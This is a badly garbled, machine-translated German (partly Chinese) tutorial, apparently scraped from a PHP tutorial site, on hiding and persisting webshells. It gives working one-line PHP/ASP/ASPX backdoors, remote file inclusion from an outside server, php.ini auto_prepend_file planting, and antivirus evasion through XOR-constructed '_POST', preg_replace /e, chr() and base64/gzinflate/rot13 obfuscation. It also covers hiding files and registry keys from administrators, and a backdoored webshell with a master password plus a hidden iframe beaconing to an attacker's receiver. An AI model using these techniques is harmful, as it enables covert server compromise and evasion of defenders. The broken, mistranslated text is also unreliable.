1Datei:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image028.png Zu den Berechtigungseinstellungen gehören „lesbar“, „schreibbar“, „löschbar“ und „sichtbar“.
Standard
1
|
file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg
|
1 td>
file : ///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image030.jpg
|
|
Wie Sie im obigen Bild sehen können, haben wir es ausgeblendet. Wie bereits erwähnt, wird der absolute Pfad direkt umgangen Zugegriffen werden kann. Mein Verständnis ist:
|
c:WINDOWSxlkfs.dat
c:WINDOWSxlkfs.dll
c:WINDOWSxlkfs.ini
c:WINDOWSsystem32driversxlkfs.sys
|
Standard
c:WINDOWSxlkfs.dat
c:WINDOWSxlkfs.dll
c:WINDOWSxlkfs.ini
c:WINDOWSsystem32driversxlkfs.sys
|
c : WINDOWS xlkfs . dat
:
WINDOWS
xlkfs.dllc:WINDOWSxlkfs.inic:WINDOWSsystem32Treiberxlkfs.sys
|
tbody> Diese 4 Dateien ersetzen die Traversal-Abfrage, indem der absolute Pfad nicht eingegeben wird, sondern die Abfrage über die oben genannten 4 Dateien erfolgt Dies entspricht der Erstellung eines separaten Treibers für versteckte Dateien.
Um nicht vom Administrator entdeckt zu werden, können Sie das Easy FileLocker-Programm löschen, aber Sie können die oben genannten 4 Dateien nicht löschen. Nachdem Sie das Programm gelöscht haben, können Sie weiterhin darauf zugreifen, indem Sie den absoluten Pfad eingeben, wodurch die Funktion des Ausblendens der Hintertür erreicht wird④Registrierung ausblendenRegistrierungspfad: HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer\AdvancedFolderHiddenSHOWALL In diesem Pfad befindet sich ein CheckedValue-Schlüssel. Ändern Sie ihn in 0. Wenn kein CheckValue-Schlüssel vorhanden ist, erstellen Sie direkt einen und weisen Sie ihm den Wert 0 zu. Dann wird die erstellte versteckte Datei vollständig ausgeblendet, auch in Auch die nächste Option „Alle Dateien anzeigen“ kann nicht angezeigt werden. (2) Ein-Satz-Trojaner versteckt ①Header-Datei-Inklusion verstecktIn einigen Skriptdateien im Web haben einige Dateien Include-Anweisungen, Sie können diese verwenden. Dieses Include Die Methode enthält eine Satzdatei und diese Sätze werden beim Zugriff auf diese Seite direkt aufgerufen. asp include-Anweisung: , geben Sie den Pfad direkt ein, und der Dateipfad ist der Pfad auf dem Webserver. Sie können Webmaster Stop verwenden, um einen Satz von NTFS-Stream-Pony in das Bild zu schreiben. Nachdem Sie das „“ in „:“ im Pfad geschrieben haben, wird das Bild nicht angezeigt und dann gefunden
Gehen Sie zu einer ASP-Datei auf dem Webserver und schreiben Sie eine Include-Anweisung am Anfang der Datei, <🎜><🎜>php enthält die Anweisung: <🎜><🎜><🎜><🎜><🎜><🎜>Default<🎜><🎜><🎜><🎜><🎜><🎜 >
1 |
<🎜>include<🎜>(<🎜> $ include<🎜>)<🎜>;<🎜>?> |
$include kann hier ein externer Pfad sein, wie zum Beispiel:
http://www.aaa.com/1.php?Include=http://www . bbb.com/hehe.php
Der Inhalt von 1.php auf dieser AAA ist
Standard
1
|
<🎜>include<🎜>(<🎜>$include<🎜>)<🎜>;<🎜>?> |
bedeutet Inklusion. bbb ist ein externer Server, sofern dieser Server PHP nicht unterstützen kann. Andernfalls wird hehe.php (dh ein Satzpferd) auf dem BBB-Server ausgeführt, aaa jedoch nicht.
②Versteckter Satz der Konfigurationsdatei (PHP)
Nachdem Sie die PHP-Webshell erhalten haben, können Sie php.ini verwenden, um Dateien auszublenden und Konfigurationsdateien zu bearbeiten Inhalt einer bestimmten Datei in die Kopf- und Fußzeile einer beliebigen Schnittstelle einfügen: auto_prepend_file =hehe.php Dann schauen Sie sich include_path an = „E:PHPnow-1.5.6htdocs;“ Diese Konfigurationsinformationen geben den Speicherort der Sammlung zum Laden der Kopf- und Fußzeile an. Die Pfadregel ist „path1;path2“, was bedeutet, dass Der Ordner im Pfad 1 wird die Kopf- und Fußzeilendateien zu den Dateien im Pfad hinzufügen, da hier ein „.“ den Stammpfad angibt, was dem Hinzufügen zur Homepage entspricht, und dann einen Satz in das Hehe schreiben .asp-Datei, und das ist es. Fügen Sie die Header-Funktion über PHP hinzu und schreiben Sie einen Satz auf der Homepage der Website. ③404 Pony
404 Pony zeigt beim Zugriff eine 404-Seite an, die tatsächlich nicht vorhanden ist. Im Allgemeinen können Sie den Trojaner-Code fünfmal drücken, um ihn zu entfernen es raus. 4. Ein Satz über Webshell-Antivirus und Antivirus
1. Konstruktionsmethode zur Umgehung der Erkennung (PHP)
Allgemeine Erkennungsprogramme filtern „_POST“. Für Zeichen wie „system“ und „call_user_func_array“ können Sie derzeit einige Erkennungsprogramme verwenden. Das Grundprinzip besteht darin, dass jedes Zeichen in PHP einem Binärwert entspricht XOR-Wert von zwei Zeichen. Sieht zum Beispiel wie der Code aus
Standard
|
@$_ ; // 这里 让’_’自加1 $__=("#"^"|"); // _ $__=("."^"~"); // P $__=("/"^"`"); // O $__=("|"^"/"); // S $__=("{"^"/"); // T ?>
|
|
php<🎜><🎜><🎜><🎜>@<🎜>$_<🎜> <🎜>;<🎜> ><🎜>< 🎜><🎜><🎜><🎜><🎜>$__ <🎜>=<🎜>(<🎜>"#"<🎜>^<🎜>"|"<🎜>)< 🎜>;<🎜> <🎜>// _<🎜><🎜><🎜> <🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜 >$__<🎜>=<🎜>(<🎜>"."<🎜>^ <🎜>"~"<🎜>)<🎜>;<🎜> <🎜><🎜><🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜> $__<🎜>=<🎜>(<🎜>"/"<. 🎜>^<🎜>"`"<🎜>)<🎜>;<🎜> <🎜><🎜><🎜 ><🎜>< 🎜>$__<🎜>=<🎜>(<🎜>"|"<🎜>^<🎜>"/"<🎜>)<🎜>;<. 🎜> 🎜>=<🎜>(<🎜>" {"<🎜>^<🎜>"/"<🎜>)<🎜>;<🎜> 🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜>< 🎜>?> |
Dann können die Struktur und ein Satz als
Standard geschrieben werden
|
@$_ ; $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); // $__的值为_POST @${$__}[!$_](${$__}[$_]);?>
|
|
@$_ ; $__ =( "#""|" ) . 1 | $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/") |
("."^ "~" ). ( " /" ^"`" ) . ( "|"^"/"). ("{" ^) ; |
functionfunfunc($str){} echopreg_replace("/(. ?)/ies",'funfunc("1")',$_POST["cmd"]);?>
|
// Der Wert von $__ ist _POST @${$__}[!$_](${ $__}[$_]);?>
|
// Das Ergebnis ist @ $_POST[0]($POST[1])!$_ stellt das Gegenteil von 1 dar. In der Sprache steht 1 für wahr und das Gegenteil ist 0 (falsch) Aber diese Bypass-Methode ist ziemlich schwach, auch wenn es sich um das XOR des Binärwerts zweier Zeichen handelt, wenn wir ein bestimmtes Zeichen verwenden möchten, wenden wir dennoch den Wert dieses Zeichens an Zeichen, wie zum Beispiel Default$__=("#"^"|").(" ."^"~").("/" ^"`").("|"^"/").("{"^"/")
1 |
$__=("#"^"|").(" ."^"~" ).("/"^"`").("|"^ "/").("{"^"/") |
Der Binärwert von tbody> ist derselbe wie der Wert des _POST-Zeichens, wenn das Erkennungsprogramm den Wert von erkennt Der Binärcode wird trotzdem getötet. 2. Methode zum Ersetzen regulärer Ausdrücke (PHP) In PHP gibt es eine Funktion preg_replace(), die das Ersetzen regulärer Ausdrücke realisieren kann. Die Verwendung der Substitution zur Umgehung des Erkennungssystems erfordert auch eine Funktionsfunktion in der PHP-Skriptsprache. Wenn die Funktion aufgerufen wird und der dem formalen Parameter in der Funktion zugewiesene Wert einen Befehl enthält, wird der Befehl ausgeführt. Standard(. ?)/ies",'funfunc("1")', $_POST["cmd"]);
?>
|
<🎜><🎜><🎜>function<🎜><🎜>funfunc< 🎜>(<🎜>$str<🎜>)<🎜>{<🎜>}<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜> <🎜>echopreg_replace<🎜>(<🎜>"/(. ?)/ies",'funfunc("1")',$_POST["cmd"]);?> |
Der obige Code ist ein Ersetzungsprozess. Erstellen Sie zunächst eine leere Funktion und verwenden Sie dann die Funktion preg_replace, um {${phpinfo()}} (natürlich kann phpinfo() hier durch andere Befehle ersetzt werden), durch Ersetzen wird es zu funfunc({${phpinfo()} }) Da ${} den Inhalt in {} analysieren kann, kann die PHP-Info hier reibungslos ausgeführt werden. 3. Methode zur sofortigen Generierung (PHP) Bei Verwendung der Header-Datei-Einbindung wird die enthaltene Header-Datei PHP einfach vom Scanner gescannt. Zu diesem Zeitpunkt können Sie file_put_content verwenden, um eine Datei zu erstellen . Darin ist ein Satz wie PHP geschrieben. Generieren Sie das Pferd, bevor Sie darauf zugreifen. Diese Funktion ist jedoch relativ empfindlich und kann leicht getötet werden. 4. Vermeidungsmethode (ASP) Da einige ASP-Server <%,%> filtern, um einen Satz Kauderwelsch zu verhindern, können Sie Folgendes verwenden:
Standard
1
|
<scriptlanguage=VBScriptrunat=server>execute request("cmd")</Script>
|
1 < script language= VBScriptrunat = server >execute Anfrage ("cmd")< />
|
| hat die gleiche Funktion, aber in einer anderen Form. Bestimmte Skriptsprache vermeiden: aspx ein SatzStandard
这里使用C#语言写一句话马。 5.拆分法(asp)
将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。 还有拆分法加强版:
Default
|
<%IfRequest("MH")<>""ThenExecute(Request("MH"))%>
<%ifrequest("MH")<>""thensession("MH")=request("MH"):endif:ifsession("MH")<>""thenexecutesession("MH")%>
|
以上两句使用了if一句将其分开,中心思想将敏感字符拆分,因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。 6.乱码变形(ANSI->Unicode加密)
Default
1
|
<%evalrequest("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”
|
Default
1
|
eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>
|
上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。上述代码转换后的代码为
Default
1
|
<%eval(eval(request("brute"))%>
|
7. Malaysias Antivirenschutz
(1) Base4code-Kodierung
Malaysias Antivirenschutz kann durch Konvertieren erhalten werden Malaysischer Code Komprimieren Sie, verwenden Sie nach der Komprimierung den Base4-Verschlüsselungsalgorithmus und fügen Sie am Ende
Default
1
|
@eval(gzinflate(base64_decode($code)));
|
1
|
@eval(gzinflate(base64_decode($code))); |
kann das Skript ausführen. Unter anderem wird die Variable $code zum Speichern des Base4-Codes verwendet. Während der Ausführung wird er zunächst von gzinflate dekomprimiert und in eval ausgeführt. Tatsächlich kann dies nicht wirklich vor dem Abtöten geschützt werden. Base4code und eval sind weiterhin in der Feature-Code-Liste enthalten und werden auch beim Durchlaufen des Scanners abgetötet. (2) ROT13-Kodierung (PHP)
str_rot13 ist eine Funktion, die von PHP zur Kodierung verwendet wird. Es kann beispielsweise zum Codieren von Skriptcode verwendet werden, um die Signaturerkennung zu umgehen. file:///C:UsersSAKAIY~1AppDataLocalTempmsohtmlclip11clip_image031.png Die strrev-Funktion im Bild wird verwendet, um Zeichen umzukehren, um der Erkennung von Signaturen zu entgehen , Die Zeichen werden zusätzlich durch „.“-Symbole getrennt. Die von den drei str_rot13 im Bild verschlüsselten Zeichen sind gzinflate, str_rot13, base64_decode, was einer dreifachen Verschlüsselung entspricht und auch die beiden Funktionscodes gzinflate und base64_decode vermeidet. Aber an str_rot13 führt kein Weg vorbei. Es ist möglich, dass einige Antivirensoftware auch str_rot13 als Funktionscode verwendet. ROT13 wird zu Rotation 13, was bedeutet, dass der Positionswert des aktuellen Zeichens im Alphabet minus 13 verschlüsselt wird. Verschlüsseln Sie es zweimal und es wird auf seinen ursprünglichen Wert zurückgesetzt. Aufgrund des festen Algorithmus ist die Verschlüsselungsstärke jedoch nicht stark. Und die Methode zum Knacken ist äußerst einfach: Verschlüsseln Sie einfach eine Seite. (3) Andere Codes
Im Allgemeinen verwenden Antivirensoftware und Scanner Signaturcodes, um festzustellen, ob ein Virus vorliegt. Im Allgemeinen werden zum Verschlüsseln Verschlüsselungsfunktionen in PHP- oder ASP-Skripten verwendet und Bypass-Scanner (wie base4, rot13 usw.), aber ich denke, Sie können Ihren eigenen Verschlüsselungsalgorithmus schreiben und dann Ihren eigenen Verschlüsselungsalgorithmus verwenden, um den Skriptcode zu verschlüsseln, um ihn zu umgehen. Sie können einige Ideen von Verschlüsselungsmethoden wie Caesar-Verschlüsselung und Shift-Verschlüsselung verwenden, einen Verschlüsselungsalgorithmus schreiben und dann den Skriptcode verschlüsseln. Dann verschwinden Feature-Codes wie base4 und rot3, oder Sie können problemlos selbstgemachte Verschlüsselung verwenden. Der Algorithmus verschlüsselt die Signatur und entschlüsselt sie dann bei Verwendung. Sie können auch Schlüsselverschlüsselungsalgorithmen wie DES und RSA verwenden. Im Allgemeinen verfügt Malaysia über ein Kennwort-Anmeldefeld. Sie können das Kennwort des Anmeldeskripts mit dem Entschlüsselungsschlüssel verknüpfen Dies dient einerseits dazu, die Erkennung durch Scanner und Antivirensoftware zu verhindern, andererseits ist es praktisch, dass andere die Datei nicht entschlüsseln und nicht sehen können Code. 5. Über die Hintertür von Webshell
Im Allgemeinen haben malaysische Downloads im Internet mehr oder weniger Hintertüren, die direkt dazu führen, dass die Website von anderen entfernt wird Beim Online-Download müssen Sie zunächst prüfen, ob es Hintertüren gibt. Zum Beispiel das universelle Passwort hier:
Default
|
endfunction
ifsession("hehe")<>userpassthen
ifrequest.form("pass")<>""then
ifrequest.form("pass")=userpassor request.form("pass")="1111111"Then
session("hehe")=userpasss
response.redirect url
else
|
|
EndeFunktion wennSitzung("hehe")<>Benutzerpassdannauf Anfrage.Formular("pass")<>""dann ifrequest.form("pass")=userpassor request.form ("pass")="1111111"Dann Sitzung("hehe")=Benutzerpässe Antwort.Weiterleitung URLsonst | tr>
Hier
Standard
1
|
request.form("pass")=userpass
|
1
|
Anfrage. Formular ( "pass")= Benutzerpass
1
|
orrequest.from(“pass”)=”1111111”
|
|
Tabelle>
wurde ursprünglich zur Überprüfung des Passwerts verwendet. Wenn der eingegebene Passwert dem Benutzerpass entspricht, bedeutet dies, dass die Überprüfung erfolgreich war, aber später
Standard orrequest.from(“pass”)=“1111111“
1
|
<iframe src=后门地址width=0height=0></iframe>
|
|
oderAnfrage.von(“pass” )=” 1111111”
|
<%url=Request.ServerVariables("HTTP_Referer") setfs=server.CreateObject("Scripting.FileSystemObject") setfile=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True) file.writelineurl file.close setfile=nothing setfs=nothing %>
|
|
bedeutet, ob der eingegebene Passwert vorliegt 1111111 lautet, können Sie sich auch in Malaysia anmelden. Natürlich kann dieser Ort nicht so einfach sein. Der ursprüngliche Autor kann den Userpass-Wert zwei zuweisen und einen hinzufügen
Die Auslösebedingung für die Änderung des Benutzerpasses wird ausgelöst, wenn er sich anmeldet (wenn beispielsweise die Anmeldung fehlschlägt, wird die Aktualisierung des Benutzerpasswerts ausgelöst), sodass Sie ein Suffix hinzufügen können
Darüber hinaus liegen der Auslöserbedingungscode und der Bestätigungscode weit auseinander und sind schwer zu finden. Zu diesem Zeitpunkt müssen wir den malaysischen Code Zeile für Zeile analysieren.
Verwenden Sie dann den Rahmen, um das Pferd zu besteigen: Standard< ;iframe src=Backdoor-Adresse width=0 height=0>
1 |
<<🎜>iframe <🎜>src<🎜>= Hintertüradresse <🎜><🎜>width<🎜>=<🎜>0<🎜><🎜>height<🎜>=<🎜>0<🎜>><<🎜>/<🎜>iframe <🎜 >> |
Dieser Ort setzt die Breite und Höhe der Linkadresse auf 0 . Die Seite ist ausgeblendet. Die darin enthaltene „Hintertüradresse“ verweist auf Ihren eigenen Skriptempfänger. Legen Sie schließlich das Empfangsskript auf einem von Ihnen erstellten öffentlichen Netzwerkserver ab. Das Empfangsskript lautet wie folgt: Standard<%url=Request.ServerVariables("HTTP_Referer")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("hehe.txt"),8,True)
file.writelineurl
Datei.schließen
setze file=nichts
setze fs=nichts
%>
|
<% <🎜>URL<🎜>=<🎜>Anfrage<🎜>.<🎜>ServerVariables<🎜>(<🎜>"HTTP_Referer"<🎜>)<🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜><🎜>set<🎜><🎜>fs<🎜>=<🎜>server<🎜>.<🎜>CreateObject<🎜>(<🎜 >"Scripting.FileSystemObject"<🎜>)<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>gesetzt <🎜><🎜>file<🎜>=<🎜>fs<🎜>.<🎜>OpenTextFile<🎜>(<🎜>server<🎜>.<🎜>MapPath<🎜>(<🎜>"hehe.txt "<🎜>)<🎜>,<🎜>8<🎜>,<🎜>Wahr<🎜>)<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>< 🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>Datei<🎜>.<🎜>Schreibzeile <🎜><🎜>URL<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>Datei<🎜>.<🎜>schließen<🎜><🎜><🎜>< 🎜><🎜><🎜>set<🎜><🎜>Datei<🎜>=<🎜>nichts<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>set< 🎜><🎜>fs<🎜>=<🎜>nichts<🎜><🎜><🎜><🎜><🎜><🎜><🎜><🎜>%> |
wo
Standard
1
|
url=Request.ServerVariables("HTTP_Referer")
|
1
|
url=Request. ServerVariables ( "HTTP_Referer" )
|
stellt den angeforderten Zeichenkonvertierungsinhalt dar, dh die malaysische URL-Adresse, und speichert die URL-Adresse dann in hehe.txt im aktuellen Verzeichnis. Um eine solche Hintertür zu entwickeln, müssen Sie zunächst die zweite Art der Passwortauthentifizierung in Malaysia zerstören, nämlich das Master-Passwort. Löschen Sie den entsprechenden Funktionscode und prüfen Sie dann, ob auf der ASP-Malaysia-Seite eine versteckte URL wie width=0 height=0 vorhanden ist, suchen Sie sie und löschen Sie sie.
Das Obige hat die Implementierung und versteckte Erkundung von Webshell vorgestellt, einschließlich einiger Aspekte davon. Ich hoffe, dass es für Freunde hilfreich sein wird, die sich für PHP-Tutorials interessieren.
|